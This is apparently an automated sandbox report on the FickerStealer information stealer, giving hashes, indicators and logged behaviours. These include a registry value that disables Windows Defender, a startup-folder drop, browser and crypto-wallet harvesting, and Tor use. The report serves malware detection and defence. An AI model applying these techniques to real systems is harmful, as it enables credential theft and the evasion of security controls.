Analysis
-
max time kernel
66s -
max time network
52s -
platform
windows7_x64 -
resource
win7v20201028 -
submitted
28-01-2021 10:48
Static task
static1
Behavioral task
behavioral1
Sample
FickerStealer.exe
Resource
win7v20201028
General
-
Target
FickerStealer.exe
-
Size
307KB
-
MD5
1c213dbc2e5f8646d4c30586b7bcb3d8
-
SHA1
7a7c24e9bde5666de8763232d9ffa012fe9d18cd
-
SHA256
90929f4e6bd28d6a197fef323930502ac1a3dcc9de8d4dba02dc6702fd570e14
-
SHA512
e4b5bf282c771e1ce7152fabd5a44ecd094d5a6b0a61c26d0e25f9df15b55a6efaeaeca6a4f52a84d8d5859b6d3d2e8f15280f619edbc7c5ac4321d2359067da
Malware Config
Signatures
-
Contains code to disable Windows Defender 1 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral1/files/0x00030000000130dd-20.dat disable_win_def -
Modifies security service 2 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WinDefend\Start = "4" reg.exe -
Executes dropped EXE 4 IoCs
pid Process 1484 1611834708978.exe 908 1611834709056.exe 2024 1611834709056.exe 2040 GetX64BTIT.exe -
Modifies Windows Firewall 1 TTPs
-
Drops startup file 1 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\wsuj.exe DllHost.exe -
Loads dropped DLL 5 IoCs
pid Process 2016 FickerStealer.exe 2016 FickerStealer.exe 2016 FickerStealer.exe 908 1611834709056.exe 2024 1611834709056.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
JavaScript code in executable 6 IoCs
resource yara_rule behavioral1/files/0x00030000000130d9-12.dat js behavioral1/files/0x00030000000130d9-15.dat js behavioral1/files/0x00030000000130d9-13.dat js behavioral1/files/0x00030000000130d9-35.dat js behavioral1/files/0x00030000000130d9-36.dat js behavioral1/files/0x00030000000130d9-40.dat js -
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 6 api.ipify.org 14 api.ipify.org 15 api.ipify.org -
Uses Tor communications 1 TTPs
Malware can proxy its traffic through Tor for more anonymity.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 1044 set thread context of 2016 1044 FickerStealer.exe 26 -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 FickerStealer.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString FickerStealer.exe -
Suspicious behavior: EnumeratesProcesses 681 IoCs
pid Process 2016 FickerStealer.exe 1672 powershell.exe 1672 powershell.exe 908 1611834709056.exe 908 1611834709056.exe 908 1611834709056.exe 908 1611834709056.exe 908 1611834709056.exe 908 1611834709056.exe 908 1611834709056.exe 908 1611834709056.exe 908 1611834709056.exe 908 1611834709056.exe 908 1611834709056.exe 908 1611834709056.exe 908 1611834709056.exe 908 1611834709056.exe 908 1611834709056.exe 908 1611834709056.exe 908 1611834709056.exe 908 1611834709056.exe 908 1611834709056.exe 908 1611834709056.exe 908 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 1824 powershell.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 1824 powershell.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 1964 powershell.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 1964 powershell.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 568 powershell.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 568 powershell.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 588 powershell.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 588 powershell.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 1540 powershell.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 1540 powershell.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 1148 powershell.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 1148 powershell.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 1780 powershell.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 1780 powershell.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 1992 powershell.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 1992 powershell.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 1880 powershell.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 1880 powershell.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 1608 powershell.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 1608 powershell.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 1476 powershell.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 1476 powershell.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 1248 powershell.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 1248 powershell.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 2024 1611834709056.exe 1340 powershell.exe 1340 powershell.exe 1824 powershell.exe 1824 powershell.exe 888 powershell.exe 888 powershell.exe 1216 powershell.exe 1216 powershell.exe 2024 powershell.exe 2024 powershell.exe -
Suspicious use of AdjustPrivilegeToken 19 IoCs
description pid Process Token: SeSecurityPrivilege 908 1611834709056.exe Token: SeDebugPrivilege 1672 powershell.exe Token: SeDebugPrivilege 1824 powershell.exe Token: SeDebugPrivilege 1964 powershell.exe Token: SeDebugPrivilege 568 powershell.exe Token: SeDebugPrivilege 588 powershell.exe Token: SeDebugPrivilege 1540 powershell.exe Token: SeDebugPrivilege 1148 powershell.exe Token: SeDebugPrivilege 1780 powershell.exe Token: SeDebugPrivilege 1992 powershell.exe Token: SeDebugPrivilege 1880 powershell.exe Token: SeDebugPrivilege 1608 powershell.exe Token: SeDebugPrivilege 1476 powershell.exe Token: SeDebugPrivilege 1248 powershell.exe Token: SeDebugPrivilege 1340 powershell.exe Token: SeDebugPrivilege 1824 powershell.exe Token: SeDebugPrivilege 888 powershell.exe Token: SeDebugPrivilege 1216 powershell.exe Token: SeDebugPrivilege 2024 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 2024 1611834709056.exe -
Suspicious use of WriteProcessMemory 199 IoCs
description pid Process procid_target PID 1044 wrote to memory of 2016 1044 FickerStealer.exe 26 PID 1044 wrote to memory of 2016 1044 FickerStealer.exe 26 PID 1044 wrote to memory of 2016 1044 FickerStealer.exe 26 PID 1044 wrote to memory of 2016 1044 FickerStealer.exe 26 PID 1044 wrote to memory of 2016 1044 FickerStealer.exe 26 PID 1044 wrote to memory of 2016 1044 FickerStealer.exe 26 PID 1044 wrote to memory of 2016 1044 FickerStealer.exe 26 PID 1044 wrote to memory of 2016 1044 FickerStealer.exe 26 PID 1044 wrote to memory of 2016 1044 FickerStealer.exe 26 PID 1044 wrote to memory of 2016 1044 FickerStealer.exe 26 PID 1044 wrote to memory of 2016 1044 FickerStealer.exe 26 PID 1044 wrote to memory of 2016 1044 FickerStealer.exe 26 PID 1044 wrote to memory of 2016 1044 FickerStealer.exe 26 PID 1044 wrote to memory of 2016 1044 FickerStealer.exe 26 PID 2016 wrote to memory of 1484 2016 FickerStealer.exe 32 PID 2016 wrote to memory of 1484 2016 FickerStealer.exe 32 PID 2016 wrote to memory of 1484 2016 FickerStealer.exe 32 PID 2016 wrote to memory of 1484 2016 FickerStealer.exe 32 PID 2016 wrote to memory of 908 2016 FickerStealer.exe 33 PID 2016 wrote to memory of 908 2016 FickerStealer.exe 33 PID 2016 wrote to memory of 908 2016 FickerStealer.exe 33 PID 2016 wrote to memory of 908 2016 FickerStealer.exe 33 PID 1484 wrote to memory of 616 1484 1611834708978.exe 34 PID 1484 wrote to memory of 616 1484 1611834708978.exe 34 PID 1484 wrote to memory of 616 1484 1611834708978.exe 34 PID 1484 wrote to memory of 616 1484 1611834708978.exe 34 PID 616 wrote to memory of 552 616 cmd.exe 36 PID 616 wrote to memory of 552 616 cmd.exe 36 PID 616 wrote to memory of 552 616 cmd.exe 36 PID 616 wrote to memory of 1672 616 cmd.exe 37 PID 616 wrote to memory of 1672 616 cmd.exe 37 PID 616 wrote to memory of 1672 616 cmd.exe 37 PID 908 wrote to memory of 2024 908 1611834709056.exe 39 PID 908 wrote to memory of 2024 908 1611834709056.exe 39 PID 908 wrote to memory of 2024 908 1611834709056.exe 39 PID 908 wrote to memory of 2024 908 1611834709056.exe 39 PID 908 wrote to memory of 2024 908 1611834709056.exe 39 PID 908 wrote to memory of 2024 908 1611834709056.exe 39 PID 908 wrote to memory of 2024 908 1611834709056.exe 39 PID 908 wrote to memory of 2024 908 1611834709056.exe 39 PID 908 wrote to memory of 2024 908 1611834709056.exe 39 PID 908 wrote to memory of 2024 908 1611834709056.exe 39 PID 908 wrote to memory of 2024 908 1611834709056.exe 39 PID 908 wrote to memory of 2024 908 1611834709056.exe 39 PID 908 wrote to memory of 2024 908 1611834709056.exe 39 PID 2024 wrote to memory of 2040 2024 1611834709056.exe 40 PID 2024 wrote to memory of 2040 2024 1611834709056.exe 40 PID 2024 wrote to memory of 2040 2024 1611834709056.exe 40 PID 2024 wrote to memory of 2040 2024 1611834709056.exe 40 PID 616 wrote to memory of 1824 616 cmd.exe 41 PID 616 wrote to memory of 1824 616 cmd.exe 41 PID 616 wrote to memory of 1824 616 cmd.exe 41 PID 616 wrote to memory of 1964 616 cmd.exe 42 PID 616 wrote to memory of 1964 616 cmd.exe 42 PID 616 wrote to memory of 1964 616 cmd.exe 42 PID 616 wrote to memory of 568 616 cmd.exe 43 PID 616 wrote to memory of 568 616 cmd.exe 43 PID 616 wrote to memory of 568 616 cmd.exe 43 PID 616 wrote to memory of 588 616 cmd.exe 44 PID 616 wrote to memory of 588 616 cmd.exe 44 PID 616 wrote to memory of 588 616 cmd.exe 44 PID 616 wrote to memory of 1540 616 cmd.exe 45 PID 616 wrote to memory of 1540 616 cmd.exe 45 PID 616 wrote to memory of 1540 616 cmd.exe 45 PID 616 wrote to memory of 1148 616 cmd.exe 46 PID 616 wrote to memory of 1148 616 cmd.exe 46 PID 616 wrote to memory of 1148 616 cmd.exe 46 PID 616 wrote to memory of 1780 616 cmd.exe 47 PID 616 wrote to memory of 1780 616 cmd.exe 47 PID 616 wrote to memory of 1780 616 cmd.exe 47 PID 616 wrote to memory of 1992 616 cmd.exe 48 PID 616 wrote to memory of 1992 616 cmd.exe 48 PID 616 wrote to memory of 1992 616 cmd.exe 48 PID 616 wrote to memory of 1880 616 cmd.exe 49 PID 616 wrote to memory of 1880 616 cmd.exe 49 PID 616 wrote to memory of 1880 616 cmd.exe 49 PID 616 wrote to memory of 1608 616 cmd.exe 50 PID 616 wrote to memory of 1608 616 cmd.exe 50 PID 616 wrote to memory of 1608 616 cmd.exe 50 PID 616 wrote to memory of 1476 616 cmd.exe 51 PID 616 wrote to memory of 1476 616 cmd.exe 51 PID 616 wrote to memory of 1476 616 cmd.exe 51 PID 616 wrote to memory of 1248 616 cmd.exe 52 PID 616 wrote to memory of 1248 616 cmd.exe 52 PID 616 wrote to memory of 1248 616 cmd.exe 52 PID 616 wrote to memory of 1340 616 cmd.exe 53 PID 616 wrote to memory of 1340 616 cmd.exe 53 PID 616 wrote to memory of 1340 616 cmd.exe 53 PID 616 wrote to memory of 1824 616 cmd.exe 54 PID 616 wrote to memory of 1824 616 cmd.exe 54 PID 616 wrote to memory of 1824 616 cmd.exe 54 PID 616 wrote to memory of 888 616 cmd.exe 55 PID 616 wrote to memory of 888 616 cmd.exe 55 PID 616 wrote to memory of 888 616 cmd.exe 55 PID 888 wrote to memory of 1724 888 powershell.exe 56 PID 888 wrote to memory of 1724 888 powershell.exe 56 PID 888 wrote to memory of 1724 888 powershell.exe 56 PID 616 wrote to memory of 1216 616 cmd.exe 57 PID 616 wrote to memory of 1216 616 cmd.exe 57 PID 616 wrote to memory of 1216 616 cmd.exe 57 PID 1216 wrote to memory of 1240 1216 powershell.exe 58 PID 1216 wrote to memory of 1240 1216 powershell.exe 58 PID 1216 wrote to memory of 1240 1216 powershell.exe 58 PID 616 wrote to memory of 2024 616 cmd.exe 59 PID 616 wrote to memory of 2024 616 cmd.exe 59 PID 616 wrote to memory of 2024 616 cmd.exe 59 PID 2024 wrote to memory of 1656 2024 powershell.exe 60 PID 2024 wrote to memory of 1656 2024 powershell.exe 60 PID 2024 wrote to memory of 1656 2024 powershell.exe 60 PID 616 wrote to memory of 1340 616 cmd.exe 61 PID 616 wrote to memory of 1340 616 cmd.exe 61 PID 616 wrote to memory of 1340 616 cmd.exe 61 PID 616 wrote to memory of 672 616 cmd.exe 62 PID 616 wrote to memory of 672 616 cmd.exe 62 PID 616 wrote to memory of 672 616 cmd.exe 62 PID 616 wrote to memory of 108 616 cmd.exe 63 PID 616 wrote to memory of 108 616 cmd.exe 63 PID 616 wrote to memory of 108 616 cmd.exe 63 PID 616 wrote to memory of 1636 616 cmd.exe 64 PID 616 wrote to memory of 1636 616 cmd.exe 64 PID 616 wrote to memory of 1636 616 cmd.exe 64 PID 616 wrote to memory of 932 616 cmd.exe 65 PID 616 wrote to memory of 932 616 cmd.exe 65 PID 616 wrote to memory of 932 616 cmd.exe 65 PID 616 wrote to memory of 1120 616 cmd.exe 66 PID 616 wrote to memory of 1120 616 cmd.exe 66 PID 616 wrote to memory of 1120 616 cmd.exe 66 PID 616 wrote to memory of 344 616 cmd.exe 67 PID 616 wrote to memory of 344 616 cmd.exe 67 PID 616 wrote to memory of 344 616 cmd.exe 67 PID 616 wrote to memory of 1824 616 cmd.exe 68 PID 616 wrote to memory of 1824 616 cmd.exe 68 PID 616 wrote to memory of 1824 616 cmd.exe 68 PID 616 wrote to memory of 1376 616 cmd.exe 69 PID 616 wrote to memory of 1376 616 cmd.exe 69 PID 616 wrote to memory of 1376 616 cmd.exe 69 PID 616 wrote to memory of 820 616 cmd.exe 70 PID 616 wrote to memory of 820 616 cmd.exe 70 PID 616 wrote to memory of 820 616 cmd.exe 70 PID 616 wrote to memory of 668 616 cmd.exe 71 PID 616 wrote to memory of 668 616 cmd.exe 71 PID 616 wrote to memory of 668 616 cmd.exe 71 PID 616 wrote to memory of 1072 616 cmd.exe 72 PID 616 wrote to memory of 1072 616 cmd.exe 72 PID 616 wrote to memory of 1072 616 cmd.exe 72 PID 616 wrote to memory of 976 616 cmd.exe 73 PID 616 wrote to memory of 976 616 cmd.exe 73 PID 616 wrote to memory of 976 616 cmd.exe 73 PID 616 wrote to memory of 788 616 cmd.exe 74 PID 616 wrote to memory of 788 616 cmd.exe 74 PID 616 wrote to memory of 788 616 cmd.exe 74 PID 616 wrote to memory of 552 616 cmd.exe 75 PID 616 wrote to memory of 552 616 cmd.exe 75 PID 616 wrote to memory of 552 616 cmd.exe 75 PID 616 wrote to memory of 888 616 cmd.exe 76 PID 616 wrote to memory of 888 616 cmd.exe 76 PID 616 wrote to memory of 888 616 cmd.exe 76 PID 616 wrote to memory of 368 616 cmd.exe 77 PID 616 wrote to memory of 368 616 cmd.exe 77 PID 616 wrote to memory of 368 616 cmd.exe 77 PID 616 wrote to memory of 748 616 cmd.exe 78 PID 616 wrote to memory of 748 616 cmd.exe 78 PID 616 wrote to memory of 748 616 cmd.exe 78 PID 616 wrote to memory of 1604 616 cmd.exe 79 PID 616 wrote to memory of 1604 616 cmd.exe 79 PID 616 wrote to memory of 1604 616 cmd.exe 79 PID 616 wrote to memory of 1976 616 cmd.exe 80 PID 616 wrote to memory of 1976 616 cmd.exe 80 PID 616 wrote to memory of 1976 616 cmd.exe 80 PID 616 wrote to memory of 2040 616 cmd.exe 81 PID 616 wrote to memory of 2040 616 cmd.exe 81 PID 616 wrote to memory of 2040 616 cmd.exe 81 PID 616 wrote to memory of 2044 616 cmd.exe 82 PID 616 wrote to memory of 2044 616 cmd.exe 82 PID 616 